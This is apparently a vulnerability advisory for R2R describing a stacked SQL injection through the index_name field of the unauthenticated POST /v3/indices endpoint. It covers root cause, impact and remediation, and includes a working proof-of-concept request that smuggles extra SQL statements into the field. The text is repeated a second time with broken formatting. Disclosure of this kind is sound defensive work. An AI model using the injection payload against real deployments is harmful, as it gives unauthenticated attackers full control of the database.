Stacked SQL Injection via Unquoted Index Name in Vector Index Creation Endpoint
Package: SciPhi-AI/R2R
Tested Versions: R2R 3.6.6 (pyproject.toml), Git main at 9c5a94d, Docker image sciphiai/r2r:latest (default config)
Affected Files
py/core/providers/database/chunks.py — create_index() (f-string interpolation of index_name into CREATE INDEX SQL)
py/core/providers/database/base.py — execute_query() without params (simple-query protocol, accepts stacked statements)
py/core/main/api/v3/indices_router.py — POST /v3/indices (no authentication requirement, no identifier validation)
py/r2r/r2r.toml — require_authentication = false, orchestration.provider = "simple" (default)
Root Cause
create_index() constructs the CREATE INDEX statement by f-string interpolating the caller-supplied index_name directly into SQL without identifier quoting or allowlist validation. When concurrently=False, the resulting string is executed via execute_query() with no bound parameters, which calls conn.execute(query) on the asyncpg connection. asyncpg's execute() uses the simple-query protocol, which accepts multiple semicolon-separated statements in a single string. On the default deployment require_authentication = false maps unauthenticated requests to the built-in superuser with no additional authorization check on this route.
PoC
POST /v3/indices HTTP/1.1
Host: 127.0.0.1:7272
Content-Type: application/json
Accept: application/json
{
"config": {
"table_name": "chunks",
"index_method": "hnsw",
"index_measure": "cosine_distance",
"index_name": "idx_s1 ON r2r_default.chunks USING btree (id); SELECT pg_sleep(5); CREATE INDEX idx_t1",
"concurrently": false
},
"run_with_orchestration": false
}
The f-string template produces three complete SQL statements:
CREATE INDEX idx_s1 ON r2r_default.chunks USING btree (id);
SELECT pg_sleep(5);
CREATE INDEX idx_t1
ON r2r_default.chunks
USING hnsw (vec vector_cosine_ops) WITH (m=16, ef_construction=64);
Actual response: HTTP 200 after ~5.07 s (Burp: 6,064 ms):
{"results": {"message": "Vector index creation task completed successfully."}}
Both idx_s1 (btree on id) and idx_t1 (hnsw on vec) present in r2r_default.chunks after the request. Empty chunks table is sufficient; no prior document ingestion required.
Impact
An unauthenticated attacker can execute arbitrary stacked SQL statements as the application's database role. On the default Docker deployment that role is PostgreSQL superuser postgres (default password postgres). Unlike the filter-key injection sink, this path uses asyncpg's simple-query protocol, which accepts semicolon-separated statements including DDL and DML, enabling full read, write, and schema modification of the database. Enabling authentication without also quoting identifiers and restricting the route to superusers leaves any authenticated user with the same capability.
Suggested Remediation
Treat index_name and index_column as SQL identifiers: allowlist against ^[A-Za-z_][A-Za-z0-9_]*$ and pass through quote_ident or an equivalent identifier-quoting API. Never interpolate them via f-string into SQL. Require superuser role for POST /v3/indices and DELETE /v3/indices/.... Set require_authentication = true as the default and do not map anonymous requests to the superuser. Do not configure the application database connection as a PostgreSQL superuser.
Stacked SQL Injection via Unquoted Index Name in Vector Index Creation Endpoint
Package: SciPhi-AI/R2R
Tested Versions: R2R 3.6.6 (
pyproject.toml), Gitmainat9c5a94d, Docker imagesciphiai/r2r:latest(default config)Affected Files
py/core/providers/database/chunks.py—create_index()(f-string interpolation ofindex_nameintoCREATE INDEXSQL)py/core/providers/database/base.py—execute_query()without params (simple-query protocol, accepts stacked statements)py/core/main/api/v3/indices_router.py—POST /v3/indices(no authentication requirement, no identifier validation)py/r2r/r2r.toml—require_authentication = false,orchestration.provider = "simple"(default)Root Cause
create_index()constructs theCREATE INDEXstatement by f-string interpolating the caller-suppliedindex_namedirectly into SQL without identifier quoting or allowlist validation. Whenconcurrently=False, the resulting string is executed viaexecute_query()with no bound parameters, which callsconn.execute(query)on the asyncpg connection. asyncpg'sexecute()uses the simple-query protocol, which accepts multiple semicolon-separated statements in a single string. On the default deploymentrequire_authentication = falsemaps unauthenticated requests to the built-in superuser with no additional authorization check on this route.PoC
The f-string template produces three complete SQL statements:
Actual response: HTTP 200 after ~5.07 s (Burp: 6,064 ms):
{"results": {"message": "Vector index creation task completed successfully."}}Both
idx_s1(btree onid) andidx_t1(hnsw onvec) present inr2r_default.chunksafter the request. Empty chunks table is sufficient; no prior document ingestion required.Impact
An unauthenticated attacker can execute arbitrary stacked SQL statements as the application's database role. On the default Docker deployment that role is PostgreSQL superuser
postgres(default passwordpostgres). Unlike the filter-key injection sink, this path uses asyncpg's simple-query protocol, which accepts semicolon-separated statements including DDL and DML, enabling full read, write, and schema modification of the database. Enabling authentication without also quoting identifiers and restricting the route to superusers leaves any authenticated user with the same capability.Suggested Remediation
Treat
index_nameandindex_columnas SQL identifiers: allowlist against^[A-Za-z_][A-Za-z0-9_]*$and pass throughquote_identor an equivalent identifier-quoting API. Never interpolate them via f-string into SQL. Require superuser role forPOST /v3/indicesandDELETE /v3/indices/.... Setrequire_authentication = trueas the default and do not map anonymous requests to the superuser. Do not configure the application database connection as a PostgreSQL superuser.